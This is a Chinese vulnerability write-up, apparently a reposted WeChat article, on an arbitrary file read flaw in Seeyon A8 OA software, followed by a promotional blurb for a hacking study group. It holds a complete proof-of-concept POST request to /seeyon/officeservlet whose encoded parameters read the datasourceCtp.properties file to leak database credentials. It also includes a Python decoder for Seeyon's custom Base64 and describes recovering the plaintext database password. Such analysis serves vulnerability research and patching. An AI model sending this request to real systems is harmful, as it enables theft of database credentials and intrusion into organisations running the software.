致远A8,又称致远互联A8协同管理软件,是面向中型、大型、集团型组织(集团版OA)的数字化协同运营中台。A8版本的系统小版本较多,本次分析用的源码是致远A8 V7 SP1版本。
首先漏洞利用POC如下
POST /seeyon/officeservlet HTTP/1.1
Host: xxxx
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=98FCAEBB95CCBEB2C7209BEF7EAA7B3E; loginPageURL=
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 350
DBSTEP V3.0 285 0 0
RECORDID=wLoi
CREATEDATE=wLehP4whzUoiw=66
originalFileId=wLoi
needReadFile=yRWZdAS6
originalCreateDate=wLehP4whzUoiw=66
OPTION=LKDxOWOWLlxwVlOW
TEMPLATE=qf85qf85qfDfeazQqAzvcRevy1W3eazvNaMUySz3d7TsdRDsyaM3nYli
COMMAND=BSTLOlMSOCQwOV66
affairMemberId=wLoi
affairMemberName=wLoi
请求体中带有加密后传的参数内容,这类是属于致远自定的Base64编码的变种,详细解密方法可以参考kk师傅的文章:致远 OA 变种 BASE64 算法的加解密方法(https://paper.seebug.org/964/)
import base64
# 自定义的Base64编码表
a = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
# 标准的Base64编码表
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
# 函数:自定义Base64编码转换为标准Base64编码
def custom_to_standard(custom_base64_str):
standard_base64_str = ""
# 创建映射字典
custom_to_standard_map = {ca: cb for ca, cb in zip(a, b)}
for char in custom_base64_str:
# 查找自定义字符对应的标准Base64字符
standard_char = custom_to_standard_map.get(char, None)
if standard_char is None:
raise ValueError(f"Character '{char}' not found in custom to standard mapping.")
standard_base64_str += standard_char
return standard_base64_str
# 函数:解码标准Base64字符串为原始字符串
def decode_base64(standard_base64_str):
try:
# 去掉可能的填充字符
standard_base64_str = standard_base64_str.rstrip('=')
# 解码Base64字符串
decoded_bytes = base64.b64decode(standard_base64_str)
# 假设原始数据是UTF-8编码
return decoded_bytes.decode('utf-8')
except base64.binascii.Error as e:
print("Invalid Base64 encoding:", e)
except UnicodeDecodeError as e:
print("Unicode decode error:", e)
# 用户输入自定义Base64编码的字符串
user_input = input("Enter your custom Base64 encoded string: ")
try:
# 将自定义Base64编码转换为标准Base64编码
standard_base64 = custom_to_standard(user_input)
# 解码得到原始字符串
original_str = decode_base64(standard_base64)
if original_str is not None:
print("Decoded string:", original_str)
except ValueError as e:
print(e)
请求获取返回包,返回包中存在数据库连接信息
在请求参数中,指定了几个值:OPTION和TEMPLATE。这两个参数使用上面脚本进行解密后获得原值
可以看到TEMPLATE指定了路径为/base/conf/datasourceCtp.properties文件,大胆可以猜测这个漏洞实际是任意文件读取漏洞。接下来结合源码来深入分析一下
officeservlet类中请求方法为doGet,接收请求参数并解析。此处解析option参数的值,由上面可知option参数值为LOADTEMPLATE
LOADTEMPLATE时调用的方法名称为taoHong,跟踪方法
读取的逻辑如下,读取TEMPLATE路径文件内容,即传入的参数TEMPLATE的值,还读取了COMMAND参数,只有当COMMAND为INSERTFILE时才会进行操作,因此该操作中包含文件读取的步骤。createRightFile读取TEMPLATE路径文件并返回文件内容。
好吧,漏洞大致分析完毕,结果中的数据库密码该如何解密呢。Github上有解密的脚本,但是测试使用有些问题
上面脚本使用了自带TextEncoder类来解密,这里还有一种方法是使用自带的LightWeightEncoder类来解密
测试解密数据库密码为明文Ww123123
00x0 前言
入门网络安全,门槛其实不大但是需要引导性的学习和实践。
小白入门难有这么几点原因。
- 基础知识薄弱:网络安全的基础知识相对广泛,学校教授的课程只停留在知识层面上,包括网络协议、操作系统、编程语言等。这些知识没有实际在工作中使用过。
- 缺少实践机会:漏洞挖掘是一个长久和繁琐的过程,初入渗透测试的小白不知道该从何入手。
- 缺乏社区支持:帮会网安社群非常活跃,提供大量的资源和支持。加入社群可以帮助你获得知识,同时也能一起交流进步,共同学习挖洞技巧。
所谓技多不压身,学习的步伐永远不会停止。下面让我带来内部帮会为小白入门准备的笔记课程。
笔记主要根据漏洞原理,结合实战的漏洞案例分析漏洞的挖掘方法以及漏洞成因。
原文始发于微信公众号(HackingWiki漏洞感知):源码分析致远A8任意文件读取漏洞,附数据库密码解密脚本
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论